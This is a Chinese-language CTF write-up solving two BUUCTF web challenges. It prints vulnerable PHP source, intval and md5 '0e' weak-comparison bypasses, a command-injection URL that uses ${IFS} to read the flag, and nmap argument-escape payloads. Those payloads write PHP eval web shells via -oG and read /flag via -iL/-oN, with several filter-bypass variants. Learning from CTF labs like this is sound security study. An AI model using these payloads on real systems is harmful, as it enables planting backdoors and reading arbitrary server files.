[WUSTCTF2020]朴实无华

Hack me
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:3) in /var/www/html/index.php on line 4

当时因为他的网页标题是 浜洪棿鏋佷箰bot

就想试一试 robots.txt (当时还少打了一个s !😅)

User-agent: *
Disallow: /fAke_f1agggg.php

发现了一个假的flag:flag{this_is_not_flag}

这怎么办!看了看题目标题!没思路!

试了试:

http://2e261834-46b0-4d59-b5bd-1647baa57d5c.node3.buuoj.cn/daa/../../../../../../../../ect/passwd

刚刚开始以为可以直接任意读取文件!

但是他有Cannot modify header information信息,会不会在header头里呢!

ca:

image-20210107130759264

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

第一关:绕过intval函数

<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>

发现intval函数参数会把e前的数字返回,那么就是说,如果是2e5,返回的值是2,而且2e5+1,则返回200001

<?php
var_dump(intval('2e5')); # int(2)
var_dump(intval('2e5'+1)); #int(200001)
?>

在php5下:

还有一点:

<?php
var_dump(intval('0x1')); # int(0)
var_dump(intval('0x1'+1)); #int(2)
?>

md5绕过

这里用数组不行了!

只能找一个原来是0e开头的,md5后还是0e的!

php弱类型比较,找到0e开头的md值也为0e开头0e215962017

空格与系统命令执行

空格绕过:

< 符号

%09 符号需要php环境,这里就不搭建啦,见谅)

$IFS$9 符号${IFS} 符号


tac$IFS$9/*
http://5dfa16ce-7ba2-48b5-b25d-4485b79d89c8.node3.buuoj.cn//fl4g.php?num=2e5&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaa*

但是不知道为什么!<>不行!可能是以为url编码的原因把!

[网鼎杯 2020 朱雀组]Nmap

image-20210107210401520

Nmap命令详解及常用命令总结

大佬:

https://zhuanlan.zhihu.com/p/145906109
https://www.cnblogs.com/mech/p/12989057.html

日了和之前的[BUUCTF 2018]Online Tool一样

今天早睡了!

又看了看之前的payload:理解理解!

在本地测试测试了!
'<?php @eval($_POST[a]);?> -oG 1.php '
''\\''\<\?php @eval\(\$_POST\[a\]\)\;\?\> -oG 1.php '\\'''


首先为什么要又单引号!
直接<?php @eval($_POST[a]);?> -oG 1.php
在nmap里传到是:
'\<\?php @eval\(\$_POST\[a\]\)\;\?\> -oG 1.php'
最后执行这个!
nmap -T5 -sT -Pn --host-timeout 2 -F \<\?php @eval\(\$_POST\[a\]\)\;\?\> -oG 1.php
这肯定不能获取后门呀!!

那通过单引号后
'<?php @eval($_POST[a]);?> -oG 1.php'
''\\''\<\?php @eval\(\$_POST\[a\]\)\;\?\> -oG 1.php'\\'''

但是这里又一点
就是
''\\''\<\?php @eval\(\$_POST\[a\]\)\;\?\> -oG 1.php'\\'''

他最后会被解析成:
\<?php @eval($_POST[a]);?> -oG 1.php\\
这个1.php\\文件不能解析成php

所有要留个空格!!
'<?php @eval($_POST[a]);?> -oG 1.php '
\<?php @eval($_POST[a]);?> -oG 1.php \\


a=system("cat /*");


用-iL和-oN的话:
127.0.0.1' -iL /flag -oN juju.txt
'127.0.0.1'\\'' -iL /flag -oN juju.txt\'
127.0.0.1\ -iL /flag -oN juju.txt'

'127.0.0.1 -iL /flag -oN juju.txt '

' '\\''127.0.0.1 -iL /flag -oN juju.txt'\\'' '


最后输入payload:
'127.0.0.1 -iL /flag -oN juju.txt '
再访问juju.txt即可!

# Nmap 7.60 scan initiated Thu Jan 7 21:51:26 2021 as: nmap -T5 -sT -Pn --host-timeout 2 -F -iL /flag -oN juju.txt 127.0.0.1
Failed to resolve "dadadaaaaaaaaaaaaaaaaaaaaaaaaaa".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Thu Jan 7 21:51:32 2021 -- 0 IP addresses (0 hosts up) scanned in 6.04 seconds

# Nmap 6.47 scan initiated Thu Jan 7 13:50:40 2021 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/d506b -iL /flag -oN juju.txt \127.0.0.1 \\
Failed to resolve "flag{78f78cd9-9e28-469f-8e85-396eb4469155}".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Thu Jan 7 13:50:40 2021 -- 0 IP addresses (0 hosts up) scanned in 0.11 seconds

注意不能直接 127.0.0.1 -iL\ /flag -oN juju.txt
就如刚刚看大佬文章说的!把后面转意了!必须再用一个反斜杠再把它变成反斜杠!
127.0.0.1 -iL\\ /flag -oN juju.txt

image-20210107215625507

等下好像有过滤!

fuzz一下:

< ? php = $ _

image-20210107225554250

发现只过滤了 : php

php5.8:

<script language="php">eval(@$_POST['a']);phpinfo();</script>
'<?PHp @eval($_POST[a]);?> -oG 1.php '

'<script language="php">eval(@$_POST['a']);phpinfo();</script> -oG 1.php '


'<?=@eval($_POST[a]);?> -oG 1.phtml '

' <?= @eval($_POST["hack"]);?> -oG hack.phtml '

nmap命令:

  -iL  从inputfilename文件中读取扫描的目标。

  -oN 把扫描结果重定向到一个可读的文件logfilename中。

OUTPUT:
-oN/-oX/-oS/-oG : Output scan in normal, XML, s|<rIpt kIddi3,
​ and Grepable format, respectively, to the given filename.

指定输出文件格式,分为正常,XML